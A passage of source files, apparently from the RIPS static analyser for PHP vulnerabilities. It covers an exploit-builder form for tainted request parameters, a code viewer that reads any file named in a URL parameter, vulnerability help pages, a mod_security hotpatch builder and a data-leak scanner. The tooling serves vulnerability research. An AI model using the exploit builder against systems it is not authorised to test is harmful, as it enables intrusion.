id=\"ssl\" name=\"ssl\" value=\"1\" onChange=\"setssl()\" /></td>\n\t\t<td>BasicAuth: <input type=\"checkbox\" id=\"auth\" name=\"auth\" value=\"1\" /></td>\n\t</tr>\n\t</table>\n\t</div>\n</div>\n\n<?php\n\n\tfunction creatediv($method, $name)\n\t{\n\t\tif(!empty($method))\n\t\t{\n\t\t\t$method = htmlentities($method, ENT_QUOTES, 'utf-8');\n?>\n\n<div id=\"<?php echo $name.'box'; ?>\" class=\"exploitbox\">\n\t<div class=\"exploittitlebox\">\n\t\t<div class=\"exploittitle\"><?php echo $name ?> parameter:</div>\n\t\t<input type=\"button\" class=\"closebutton\" style=\"position:relative;top:4px;right:5px;\" value=\"x\" onClick=\"deleteMethod('<?php echo $name; ?>')\" />\n\t\t<div style=\"clear: left;\"></div>\n\t</div>\n\n\t<div class=\"exploitcontentbox\">\n\t<form id=\"<?php echo $name; ?>\">\n\t\t<table class=\"textcolor\" cellspacing=0px cellpadding=2px>\n<?php\n\t\t\t$params = explode(',', $method);\n\t\t\tforeach($params as $param)\n\t\t\t{\n\t\t\t\tif($name != '$_SERVER' || ($name == '$_SERVER' && substr($param,0,4) == 'HTTP'))\n\t\t\t\t{\n\t\t\t\t\t$param = htmlentities($param, ENT_QUOTES, 'utf-8');\n\t\t\t\t\tif($param == '*') $param = 'foobar';\n\t\t\t\t\techo \"\\n<tr><td>$param:</td>\\n\",\n\t\t\t\t\t\"\\t<td><input type='text' name='$param' value=''></td>\\n\",\n\t\t\t\t\t'</tr>';\n\t\t\t\t} else\n\t\t\t\t{\n\t\t\t\t\techo \"\\n<tr><td colspan='2'>You can taint \\$_SERVER['$param'] by editing the target URL.</td></tr>\\n\";\n\t\t\t\t}\n\t\t\t}\n?>\n\t\t</table>\n\t</form>\n\t</div>\n</div>\n<?php\n\t\t}\n\t}\n\n\tif(isset($_GET['get'])) creatediv($_GET['get'], '$_GET');\n\tif(isset($_GET['post'])) creatediv($_GET['post'], '$_POST');\n\tif(isset($_GET['cookie'])) creatediv($_GET['cookie'], '$_COOKIE');\n\tif(isset($_GET['files'])) creatediv($_GET['files'], '$_FILES');\n\tif(isset($_GET['server'])) creatediv($_GET['server'], '$_SERVER');\n\n\n?>\n\n\t<input type=\"button\" class=\"Button\" value=\"create\" onClick=\"createExploit()\" /> \n\t<br /><br />\n</div>\n\n<div id=\"exploitcode\" style=\"display:none;\"></div>\n\t?>\n</div>\n<?php\n} else\n{\n\techo 'No file loaded';\n}\n\n?>\n" }, { "path": "windows/function.php", "content": "<table width='100%'>\n<?php\n/**\n\nRIPS - A static source code analyser for vulnerabilities in PHP scripts\n\tby Johannes Dahse (johannes.dahse@rub.de)\n\n\nCopyright (C) 2012 Johannes Dahse\n\nThis program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version.\n\nThis program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License along with this program; if not, see <http://www.gnu.org/licenses/>.\n\n**/\n\ninclude('../config/general.php');\n\n\t// prepare output to style with CSS\n\tfunction highlightline($line, $line_nr)\n\t{\n\t\t$tokens = @token_get_all('<? '.$line.' ?>');\n\t\t$output = \"<tr><td class=\\\"linenrcolumn\\\" valign=\\\"top\\\"><span class=\\\"linenr\\\">$line_nr</span> </td><td>\";\n\n\t\tforeach ($tokens as $token)\n\t\t{\n\t\t\tif (is_string($token))\n\t\t\t{\n\t\t\t\t$output .= '<span class=\"phps-code\">';\n\t\t\t\t$output .= htmlentities($token, ENT_QUOTES, 'utf-8');\n\t\t\t\t$output .= '</span>';\n\t\t\t}\n\t\t\telse if (is_array($token)\n\t\t\t&& $token[0] !== T_OPEN_TAG\n\t\t\t&& $token[0] !== T_CLOSE_TAG)\n\t\t\t{\n\t\t\t\tif ($token[0] !== T_WHITESPACE)\n\t\t\t\t{\n\t\t\t\t\t$text = '<span class=\"phps-'.str_replace('_', '-', strtolower(token_name($token[0]))).'\">';\n\t\t\t\t\t$text.= htmlentities($token[1], ENT_QUOTES, 'utf-8').'</span>';\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t$text = str_replace(' ', ' ', $token[1]);\n\t\t\t\t\t$text = str_replace(\"\\t\", str_repeat(' ', 8), $text);\n\t\t\t\t}\n\n\t\t\t\t$output .= $text;\n\t\t\t}\n\t\t}\n\t\treturn $output.'</td></tr>';\n\t}\n\n\t// print function code\n\n\t$file = $_GET['file'];\n\t$start = (int)$_GET['start'];\n\t$end = (int)$_GET['end'];\n\t$ext = '.'.pathinfo($file, PATHINFO_EXTENSION);\n\n\n\tif(!empty($file) && is_file($file) && in_array($ext, $FILETYPES))\n\t{\n\t\t$lines = file($file);\n\n\t\tif( isset($lines[$start]) && isset($lines[$end]) )\n\t\t{\n\t\t\tfor($i=$start; $i<=$end; $i++)\n\t\t\t{\n\t\t\t\techo highlightline($lines[$i], $i);\n\t\t\t}\n\t\t} else\n\t\t{\n\t\t\techo '<tr><td>Sorry, wrong file referenced.</td></tr>';\n\t\t}\n\t} else\n\t{\n\t\techo '<tr><td>Sorry, no file referenced.</td></tr>';\n\t}\n?>\n</table>\n" }, { "path": "windows/help.php", "content": "<?php\n/**\n\nRIPS - A static source code analyser for vulnerabilities in PHP scripts\n\tby Johannes Dahse (johannes.dahse@rub.de)\n\n\nCopyright (C) 2012 Johannes Dahse\n\nThis program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version.\n\nThis program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License along with this program; if not, see <http://www.gnu.org/licenses/>.\n\n**/\n\ninclude '../config/general.php';\ninclude '../config/securing.php';\ninclude '../config/sinks.php';\ninclude '../config/tokens.php';\ninclude '../config/sources.php';\ninclude '../config/help.php';\ninclude '../lib/printer.php';\n\n$function = htmlentities($_GET['function'], ENT_QUOTES, 'utf-8');\n$type = htmlentities($_GET['type'], ENT_QUOTES, 'utf-8');\n$type = explode(\" (\", $type);\n$type = $type[0];\n\nswitch($type)\n{\n\tcase $NAME_XSS: \t\t\t$HELP = $HELP_XSS;\n\t\t\t\t\t\t\t\t$FUNCS = $F_SECURING_XSS;\n\t\t\t\t\t\t\t\tbreak;\n\tcase $NAME_HTTP_HEADER: \t$HELP = $HELP_HTTP_HEADER;\n\t\t\t\t\t\t\t\t$FUNCS = array();\n\t\t\t\t\t\t\t\tbreak;\n\tcase $NAME_SESSION_FIXATION: \t$HELP = $HELP_SESSION_FIXATION;\n\t\t\t\t\t\t\t\t$FUNCS = array();\n\t\t\t\t\t\t\t\tbreak;\n\tcase $NAME_CODE: \t\t\t$HELP = $HELP_CODE;\n\t\t\t\t\t\t\t\t$FUNCS = $F_SECURING_PREG;\n\t\t\t\t\t\t\t\tbreak;\n\tcase $NAME_REFLECTION: \t\t$HELP = $HELP_REFLECTION;\n\t\t\t\t\t\t\t\t$FUNCS = array();\n\t\t\t\t\t\t\t\tbreak;\n\tcase $NAME_FILE_INCLUDE: \t$HELP = $HELP_FILE_INCLUDE;\n\t\t\t\t\t\t\t\t$FUNCS = $F_SECURING_FILE;\n\t\t\t\t\t\t\t\tbreak;\n\tcase $NAME_FILE_READ: \t\t$HELP = $HELP_FILE_READ;\n\t\t\t\t\t\t\t\t$FUNCS = $F_SECURING_FILE;\n\t\t\t\t\t\t\t\tbreak;\n\tcase $NAME_FILE_AFFECT: \t$HELP = $HELP_FILE_AFFECT;\n\t\t\t\t\t\t\t\t$FUNCS = $F_SECURING_FILE;\n\t\t\t\t\t\t\t\tbreak;\n\tcase $NAME_EXEC: \t\t\t$HELP = $HELP_EXEC;\n\t\t\t\t\t\t\t\t$FUNCS = $F_SECURING_SYSTEM;\n\t\t\t\t\t\t\t\tbreak;\n\tcase $NAME_DATABASE: \t\t$HELP = $HELP_DATABASE;\n\t\t\t\t\t\t\t\t$FUNCS = $F_SECURING_SQL;\n\t\t\t\t\t\t\t\tbreak;\n\tcase $NAME_XPATH: \t\t\t$HELP = $HELP_XPATH;\n\t\t\t\t\t\t\t\t$FUNCS = $F_SECURING_XPATH;\n\t\t\t\t\t\t\t\tbreak;\n\tcase $NAME_LDAP: \t\t\t$HELP = $HELP_LDAP;\n\t\t\t\t\t\t\t\t$FUNCS = $F_SECURING_LDAP;\n\t\t\t\t\t\t\t\tbreak;\n\tcase $NAME_CONNECT: \t\t$HELP = $HELP_CONNECT;\n\t\t\t\t\t\t\t\t$FUNCS = array();\n\t\t\t\t\t\t\t\tbreak;\n\tcase $NAME_POP: \t\t\t$HELP = $HELP_POP;\n\t\t\t\t\t\t\t\t$FUNCS = array();\n\t\t\t\t\t\t\t\tbreak;\n\tdefault:\n\t\t$HELP = array(\n\t\t\t'description' => 'No description available for this vulnerability.',\n\t\t\t'link' => '',\n\t\t\t'code' => 'Not available.',\n\t\t\t'poc' => 'Not available.'\n\t\t);\n\t\tbreak;\n}\n?>\n\n<div style=\"padding-left:30px;padding-right:30px\">\n<h2><?php echo $type; ?></h2>\n<h3>vulnerability concept:</h3>\n\n<table class=\"textcolor\">\n<tr>\n\t<th class=\"helptitle\">source</th>\n\t<th></th>\n\t<th class=\"helptitle\">sink</th>\n\t<th></th>\n\t<th class=\"helptitle\">vulnerability</th>\n</tr>\n<tr>\n<td align=\"left\" class=\"helpbox\">\n<ul style=\"margin-left:-25px\">\n<?php\nif($_GET['get'] || (empty($_GET['get']) && empty($_GET['post']) && empty($_GET['cookie']) && empty($_GET['files']) && empty($_GET['server'])))\n\techo '<li class=\"userinput\"><a href=\"'.PHPDOC.'reserved.variables.get\" target=\"_blank\">$_GET</a></li>';\nif($_GET['post'])\n\techo '<li class=\"userinput\"><a href=\"'.PHPDOC.'reserved.variables.post\" target=\"_blank\">$_POST</a></li>';;\nif($_GET['cookie'])\n\techo '<li class=\"userinput\"><a href=\"'.PHPDOC.'reserved.variables.cookie\" target=\"_blank\">$_COOKIE</a></li>';\nif($_GET['files'])\n\techo '<li class=\"userinput\"><a href=\"'.PHPDOC.'reserved.variables.files\" target=\"_blank\">$_FILES</a></li>';\nif($_GET['server'])\n\techo '<li class=\"userinput\"><a href=\"'.PHPDOC.'reserved.variables.server\" target=\"_blank\">$_SERVER</a></li>';\n?>\n</ul>\n</td>\n<td align=\"center\" valign=\"center\"><h1>+</h1></td>\n<td align=\"center\" class=\"helpbox\">\n\t<?php echo '<a class=\"link\" href=\"'.PHPDOC.$function.'\" target=\"_blank\">'.$function.'()</a>'; ?>\n</td>\n<td align=\"center\" valign=\"center\"><h1>=</h1></td>\n<td align=\"center\" class=\"helpbox\">\n<?php echo $type; ?>\n</td>\n</tr>\n</table>\n\n<h3>vulnerability description:</h3>\n<p><?php echo $HELP['description']; ?></p>\n<p><?php if(!empty($HELP['link'])) echo \"More information about $type can be found <a href=\\\"{$HELP['link']}\\\" target=\\\"_blank\\\">here</a>.\"; ?></p>\n\n<h3>vulnerable example code:</h3>\n<pre><?php echo highlightline(token_get_all($HELP['code']), '', 1); ?></pre>\n\n<h3>proof of concept:</h3>\n<p><?php echo htmlentities($HELP['poc']); ?></p>\n\n<h3>patch:</h3>\n<p><?php echo htmlentities($HELP['patchtext']); ?></p>\n<pre><?php echo highlightline(token_get_all($HELP['patch']), '', 1); ?></pre>\n\n<h3>related securing functions:</h3>\n<ul>\n<?php\nif(!empty($FUNCS))\n{\n\tforeach($FUNCS as $func)\n\t{\n\t\techo '<li><a class=\"darkcolor\" href=\"'.PHPDOC.$func.'\" target=\"_blank\">'.$func.\"</a></li>\\n\";\n\t}\n} else\n{\n\techo 'None.';\n}\n?>\n</ul>\n</div>\n" }, { "path": "windows/hotpatch.php", "content": "<?php\n/**\n\nRIPS - A static source code analyser for vulnerabilities in PHP scripts\n\tby Johannes Dahse (johannes.dahse@rub.de)\n\n\nCopyright (C) 2012 Johannes Dahse\n\nThis program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version.\n\nThis program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License along with this program; if not, see <http://www.gnu.org/licenses/>.\n\n**/\n\nif(!empty($_GET['file']))\n{\n\t$file = $_GET['file'];\n?>\n\n<div style=\"padding: 20px; width: 400px\">\n\n\n<div id=\"hotpatchbuild\">\n\nCreate mod_security rule.\n\n<?php\n\n\tfunction getFilterOptions($id)\n\t{\n\t\treturn '<select name=\"filter\" onchange=\"document.getElementById('.$id.').value=this.value\">'\n\t\t\t.'<option value=\"alpha\">alphanum</option>'\n\t\t\t.'<option value=\"alpha\">numerical</option>'\n\t\t\t.'</select>';\n\t}\n\n\tfunction creatediv($method, $name)\n\t{\n\t\tif(!empty($method))\n\t\t{\n\t\t\t$method = htmlentities($method, ENT_QUOTES, 'utf-8');\n?>\n\n<div id=\"<?php echo $name.'box'; ?>\" class=\"exploitbox\">\n\t<div class=\"exploittitlebox\">\n\t\t<div class=\"exploittitle\"><?php echo $name ?> parameter:</div>\n\t\t<input type=\"button\" class=\"closebutton\" style=\"position:relative;top:4px;right:5px;\" value=\"x\" onClick=\"deleteMethod('<?php echo $name; ?>')\" />\n\t\t<div style=\"clear: left;\"></div>\n\t</div>\n\n\t<div class=\"exploitcontentbox\">\n\t<form id=\"<?php echo $name; ?>\">\n\t\t<table class=\"textcolor\" cellspacing=0px cellpadding=2px>\n<?php\n\t\t\t$params = explode(',', $method);\n\t\t\tforeach($params as $param)\n\t\t\t{\n\t\t\t\tif($name != '$_SERVER' || ($name == '$_SERVER' && substr($param,0,4) == 'HTTP'))\n\t\t\t\t{\n\t\t\t\t\t$param = htmlentities($param, ENT_QUOTES, 'utf-8');\n\t\t\t\t\techo \"\\n<tr><td>$param:</td>\\n\",\n\t\t\t\t\t\"\\t<td><input type='text' id='{$method}{$param}' name='$param' value='' /></td>\",\n\t\t\t\t\t\"<td>\".getFilterOptions($method.$param).\"</td>\\n\",\n\t\t\t\t\t'</tr>';\n\t\t\t\t} else\n\t\t\t\t{\n\t\t\t\t\techo \"\\n<tr><td colspan='2'>You can taint \\$_SERVER['$param'] by editing the target URL.</td></tr>\\n\";\n\t\t\t\t}\n\t\t\t}\n?>\n\t\t</table>\n\t</form>\n\t</div>\n</div>\n<?php\n\t\t}\n\t}\n\n\tif(isset($_GET['get'])) creatediv($_GET['get'], '$_GET');\n\tif(isset($_GET['post'])) creatediv($_GET['post'], '$_POST');\n\tif(isset($_GET['cookie'])) creatediv($_GET['cookie'], '$_COOKIE');\n\tif(isset($_GET['files'])) creatediv($_GET['files'], '$_FILES');\n\tif(isset($_GET['server'])) creatediv($_GET['server'], '$_SERVER');\n\n\n?>\n\n\t<input type=\"button\" class=\"Button\" value=\"create\" onClick=\"createHotpatch()\" /> \n\t<br /><br />\n</div>\n\n<div id=\"hotpatchcode\">\n\n</div>\n\n<?php\n} else\n{\n\techo 'No file loaded';\n}\n\n?>\n\n</div>\n" }, { "path": "windows/leakscan.php", "content": "<?php\n/**\n\nRIPS - A static source code analyser for vulnerabilities in PHP scripts\n\tby Johannes Dahse (johannes.dahse@rub.de)\n\n\nCopyright (C) 2012 Johannes Dahse\n\nThis program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version.\n\nThis program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License along with this program; if not, see <http://www.gnu.org/licenses/>.\n\n**/\n\n\t############################### INCLUDES ################################\n\n\tinclude('../config/general.php');\t\t// general settings\n\tinclude('../config/sources.php');\t\t// tainted variables and functions\n\tinclude('../config/tokens.php');\t\t// tokens for lexical analysis\n\tinclude('../config/securing.php');\t\t// securing functions\n\tinclude('../config/sinks.php');\t\t\t// sensitive sinks\n\tinclude('../config/info.php');\t\t\t// interesting functions\n\n\tinclude('../lib/constructer.php'); \t\t// classes\n\tinclude('../lib/filer.php');\t\t\t// read files from dirs and subdirs\n\tinclude('../lib/tokenizer.php');\t\t// prepare and fix token list\n\tinclude('../lib/analyzer.php');\t\t\t// string analyzers\n\tinclude('../lib/scanner.php');\t\t\t// scan for sinks in token list\n\tinclude('../lib/printer.php');\t\t\t// output scan result\n\tinclude('../lib/searcher.php');\t\t\t// search functions\n\n\t############################### MAIN ####################################\n\n\t$start = microtime(TRUE);\n\n\t$output = array();\n\t$info = array();\n\t$scanned_files = array();\n\n\tif(!empty($_POST['loc']))\n\t{\n\t\t$location = realpath($_POST['loc']);\n\n\t\tif(is_dir($location))\n\t\t{\n\t\t\t$scan_subdirs = isset($_POST['subdirs']) ? $_POST['subdirs'] : false;\n\t\t\t$files = read_recursiv($location, $scan_subdirs);\n\n\t\t\tif(count($files) > WARNFILES && !isset($_POST['ignore_warning']))\n\t\t\t\tdie('warning:'.count($files));\n\t\t}\n\t\telse if(is_file($location) && in_array(substr($location, strrpos($location, '.')), $FILETYPES))\n\t\t{\n\t\t\t$files[0] = $location;\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$files = array();\n\t\t}\n\n\t\t// SCAN\n\t\t\t$user_functions = array();\n\t\t\t$user_functions_offset = array();\n\t\t\t$file_sinks_count = array();\n\t\t\t$user_input = array();\n\n\t\t\t$count_xss=$count_sqli=$count_fr=$count_fa=$count_fi=$count_exec=$count_code=$count_eval=$count_xpath=$count_ldap=$count_con=$count_other=$count_pop=$count_inc=$count_inc_fail=$count_header=0;\n\n\t\t\t$verbosity = 3;\n\n\t\t\t$scan_functions = array_merge($F_XSS, $F_HTTP_HEADER, $F_SESSION_FIXATION);\n\t\t\t$F_USERINPUT = array();\n\t\t\t$V_USERINPUT = array($_POST['varname']);\n\t\t\t$F_SECURING_XSS = array();\n\t\t\t$_POST['vector'] = 'client';\n\n\t\t\t$overall_time = 0;\n\t\t\t$timeleft = 0;\n\t\t\t$file_amount = count($files);\n\n\t\t\tfor($fit=0; $fit<$file_amount; $fit++)\n\t\t\t{\n\t\t\t\t// for scanning display\n\t\t\t\t$thisfile_start = microtime(TRUE);\n\t\t\t\t$file_scanning = $files[$fit];\n\n\t\t\t\techo ($fit) . '|' . $file_amount . '|' . $file_scanning . '|' . $timeleft . '|' .\"\\n\";\n\t\t\t\t@ob_flush();\n\t\t\t\tflush();\n\n\t\t\t\t$scan = new Scanner($file_scanning, $scan_functions, array(), array());\n\t\t\t\t$scan->parse();\n\n\t\t\t\t$overall_time += microtime(TRUE) - $thisfile_start;\n\t\t\t\t// timeleft = average_time_per_file * file_amount_left\n\t\t\t\t$timeleft = round(($overall_time/($fit+1)) * ($file_amount - $fit+1),2);\n\t\t\t}\n\t\t\techo \"STATS_DONE.\\n\";\n\t\t\t@ob_flush();\n\t\t\tflush();\n\t}\n\n\t$elapsed = microtime(TRUE) - $start;\n\n\t################################ RESULT #################################\n\n\t$treestyle = $_POST['treestyle'];\n\n\tfunction checkLeak($tree, $line, $varname)\n\t{\n\t\tif($tree->children)\n\t\t{\n\t\t\tforeach ($tree->children as $child)\n\t\t\t{\n\t\t\t\t// really dirty :(\n\t\t\t\tif(preg_match(\"/$line:.*markVariable\\('$varname/\", $child->value))\n\t\t\t\t\treturn true;\n\t\t\t\treturn checkLeak($child, $line, $varname);\n\t\t\t}\n\t\t}\n\t\treturn false;\n\t}\n\n\t// check for line leaks found in vulnblock\n\tfunction lineLeakes($line, $var, $block)\n\t{\n\t\tforeach($block->treenodes as $tree)\n\t\t{\n\t\t\tif(checkLeak($tree, $line, $var))\n\t\t\t\treturn true;\n\t\t}\n\t\treturn false;\n\t}\n\n\t\tif(!empty($output))\n\t\t{\n\t\t\t$nr=0;\n\t\t\treset($output);\n\t\t\tdo\n\t\t\t{\n\t\t\t\tif(key($output) != \"\" && !empty($output[key($output)]) )\n\t\t\t\t{\n\t\t\t\t\tforeach($output[key($output)] as $vulnBlock)\n\t\t\t\t\t{\n\t\t\t\t\t\tif(lineLeakes($_POST['line'], str_replace('$','',$_POST['varname']), $vulnBlock))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$nr++;\n\t\t\t\t\t\t\techo '<div style=\"margin-left:10px;margin-top:10px\"><div class=\"vulnblock\">',\n\t\t\t\t\t\t\t'<div id=\"picleak',$nr,'\" class=\"minusico\" name=\"picleak\" style=\"margin-top:5px\" title=\"minimize\"',\n\t\t\t\t\t\t\t' onClick=\"hide(\\'leak',$nr,'\\')\"></div><div class=\"vulnblocktitle\">Data Leak</div>',\n\t\t\t\t\t\t\t'</div><div name=\"allcats\"><div class=\"vulnblock\" style=\"border-top:0px;\" name=\"leak\" id=\"leak',$nr,'\">';\n\n\t\t\t\t\t\t\tif($treestyle == 2)\n\t\t\t\t\t\t\t\tkrsort($vulnBlock->treenodes);\n\n\t\t\t\t\t\t\tforeach($vulnBlock->treenodes as $tree)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\techo '<div class=\"codebox\"><table border=0>',\"\\n\",\n\t\t\t\t\t\t\t\t'<tr><td valign=\"top\" nowrap>',\"\\n\",\n\t\t\t\t\t\t\t\t'<div class=\"fileico\" title=\"review code\" ',\n\t\t\t\t\t\t\t\t'onClick=\"openCodeViewer(this,\\'',\n\t\t\t\t\t\t\t\taddslashes($tree->filename), '\\',\\'',\n\t\t\t\t\t\t\t\timplode(',', $tree->lines), '\\');\"></div>'.\"\\n\",\n\t\t\t\t\t\t\t\t'<div id=\"pic',key($output),$tree->lines[0],'\" class=\"minusico\" title=\"minimize\"',\n\t\t\t\t\t\t\t\t' onClick=\"hide(\\'',addslashes(key($output)),$tree->lines[0],'\\')\"></div><br />',\"\\n\";\n\n\t\t\t\t\t\t\t\techo '</td><td><span class=\"vulntitle\">The return value of the sensitive sink is embedded into the HTML output.</span>',\n\t\t\t\t\t\t\t\t'<div class=\"code\" id=\"',key($output),$tree->lines[0],'\">',\"\\n\";\n\n\t\t\t\t\t\t\t\tif($treestyle == 1)\n\t\t\t\t\t\t\t\t\ttraverseBottomUp($tree);\n\t\t\t\t\t\t\t\telse if($treestyle == 2)\n\t\t\t\t\t\t\t\t\ttraverseTopDown($tree);\n\n\t\t\t\t\t\t\t\t\techo '<ul><li>',\"\\n\";\n\t\t\t\t\t\t\t\tdependenciesTraverse($tree);\n\t\t\t\t\t\t\t\techo '</li></ul>',\"\\n\",\t'</div>',\"\\n\", '</td></tr></table></div>',\"\\n\";\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\techo '</div></div><div style=\"height:20px\"></div></div>',\"\\n\";\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t}\n\t\t\t}\n\t\t\twhile(next($output));\n\t\t}\n?>\n" } ]